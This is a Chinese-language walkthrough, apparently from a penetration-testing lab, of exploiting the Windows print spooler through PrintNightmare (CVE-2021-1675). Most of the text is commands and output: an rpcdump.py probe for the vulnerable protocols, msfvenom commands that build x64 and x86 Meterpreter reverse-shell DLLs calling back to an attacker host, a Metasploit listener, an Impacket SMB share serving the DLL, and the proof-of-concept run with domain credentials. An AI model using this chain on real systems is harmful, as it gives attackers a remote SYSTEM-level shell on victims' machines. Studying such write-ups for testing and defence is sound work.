打印机后台处理程序是一种管理打印队列的 Windows 服务。它接收用户提交的作业,将其转换为打印机可理解的格式,并在打印机可用时发送。该服务以系统服务(spoolsv.exe)的形式运行,拥有高权限,因此成为攻击的常见目标,例如 PrintNightmare 漏洞。
当攻击者尝试远程利用打印后台处理程序,以检查主机是否易受 PrintNightmare 漏洞影响时,可以使用名为 rpcdump.py 的工具,该工具是 Impacket 包的一部分,这是一组在渗透测试环境中广泛使用的工具。
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
为了利用此漏洞,该漏洞的利用分发方式是一个恶意 DLL。这种方法也被称为“无文件”利用,允许我们绕过大多数系统保护,例如防病毒软件。在此攻击中,我们将欺骗打印后台处理程序服务,使其从 UNC 路径安装新驱动程序并加载它。在我们的案例中,这个恶意 DLL 将向攻击机提供一个反向 Shell。为了创建恶意 DLL,我将使用 msfvenom,并根据目标架构在 DLL 中集成 Windows x64 或 x86 载荷,同时提供本地主机和本地端口,我们将在这些端口上启动监听器以接收来自 DLL 的回调。你可以通过输入 ifconfig 找到自己机器的 IP 地址。我们将使用以下命令创建恶意 DLL。
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
如果目标架构是 32 位,则使用以下载荷:
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
创建好恶意 DLL 后,接下来我们需要在 Metasploit 框架中启动监听器,以便当 DLL 在系统上执行时获取 Meterpreter Shell。按照以下步骤启动监听器。最后输入 exploit -j 以在后台启动监听器。
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
现在我们已经启动了接收器,接下来启动我们的 SMB 服务器,以托管恶意 DLL 文件。进入保存 DLL 文件的系统路径,输入以下命令启动 SMB 服务器。在此之前,请确保你的计算机上安装了 Impacket。Impacket 是一组用 Python 编写的开源模块,其中一个是 smbserver.py,我们将在本例中使用它。要启动 smbserver.py 脚本并托管恶意 DLL 文件,请在保存 DLL 的目录中(在我的案例中是 /home/ghost/Pentesting/Printer/)输入以下命令。
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
很好,我们现在已经准备好使用 CVE-2021–1675 的概念验证(POC)开始利用过程。为此,我们提供域控制器和用户凭据,以及托管在我们系统上的恶意 DLL 的 UNC 路径。
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
运行利用脚本几秒钟后,如果我们回到之前在 Metasploit 中启动的监听器,它会显示已打开一个 Meterpreter 会话,现在我们可以使用 Meterpreter Shell 与受害机进行交互。